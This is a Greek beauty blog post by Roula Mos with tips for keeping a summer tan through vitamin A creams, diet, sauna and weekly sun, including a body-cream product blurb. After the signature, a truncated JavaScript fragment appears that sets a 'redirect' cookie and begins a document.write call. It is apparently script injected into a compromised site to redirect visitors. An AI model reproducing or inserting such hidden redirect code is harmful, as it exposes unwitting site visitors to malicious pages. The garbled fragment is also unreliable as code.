Διατηρήστε το μαύρισμά σας

Οι πρώτες βροχές έκαναν την εμφάνισή τους αλλά εμείς δεν θέλουμε να χάσουμε το χρώμα μας!

Τι μπορούμε να κάνουμε λοιπόν για να το διατηρήσουμε όσο το δυνατόν περισσότερο?

Βιταμίνη Α

Καθώς το δέρμα μας γίνεται αρκετά ξηρό με τις ακτίνες του ήλιου, έχει πολύ μεγάλη ανάγκη σε βιταμίνη Α. Η βιταμίνη Α βοηθά την ενυδάτωση, την κυτταρική ανανέωση και την μείωση ανάπτυξης στα πρώιμα σημάδια. Σε πρώτη φάση λοιπόν είναι απαραίτητο να προμηθευτούμε τόσο κάποιο λάδι ή μία κρέμα σώματος για μετά το καθημερινό μας ντουζ, όπως και κάποιες βιταμίνες πλούσιες σε βιταμίνη Α. Το ενυδατωμένο δέρμα διατηρεί το μαύρισμα σε αντίθεση με το ξηρό που το απομακρύνει.

Κρέμα Σώματος με Βιολογικό Ελαιόλαδο, Εκχύλισμα Φύλλων Ελιάς. Ενισχυμένο με Βιταμίνες A,E, Πανθενόλη, Βούτυρο Καριτέ (Shea Butter), Ενυδατικά και Αντιγηραντικά Συστατικά

Διατροφή

Συμπεριλάβετε στα γεύματά σας συκώτι, γάλα, αυγά, βερίκοκα, σπανάκι, καρότο και γενικότερα κόκκινα και κίτρινα λαχανικά και φρούτα. Διαθέτουν συστατικά που βοηθούν στην διατήρηση του μαυρίσματός μας. Τέλος, ένα ποτήρι χυμού από καρότο θα ήταν ιδανικό για να ξεκινάτε την μέρα σας.

Σάουνα

Η χρήση της σάουνας αποτελεί επίσης ένα πολύ καλό tip για την διατήρηση του μαυρίσματος. Το απλό καθημερινό μας πλύσιμο οδηγεί σε πιο γρήγορο ξεφλούδισμα του δέρματος από τον ατμό, ο οποίος βοηθά στο καθαρό και νωπό δέρμα χωρίς το γνωστό «τρίψιμο».

Και μην ξεχνάτε, όσο ο καιρός το επιτρέπει να διατηρείτε μία σχέση με τον ήλιο. Έστω και μία φορά την εβδομάδα, μία εξόρμηση σε κοντινή παραλία  είναι αρκετή στο να μας βοηθήσει να διατηρήσουμε το χρώμα μας, σε συνδυασμό πάντα με τα όσα αναφέραμε παραπάνω.

Οι συμβουλές που σας δίνουμε είναι απλές και στην πράξη μας έχουν βοηθήσει να διατηρήσουμε το μαύρισμά μας! Εφαρμόστε τες και εσείς και δεν θα χάσετε!!

-Ρούλα Μος-
okie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘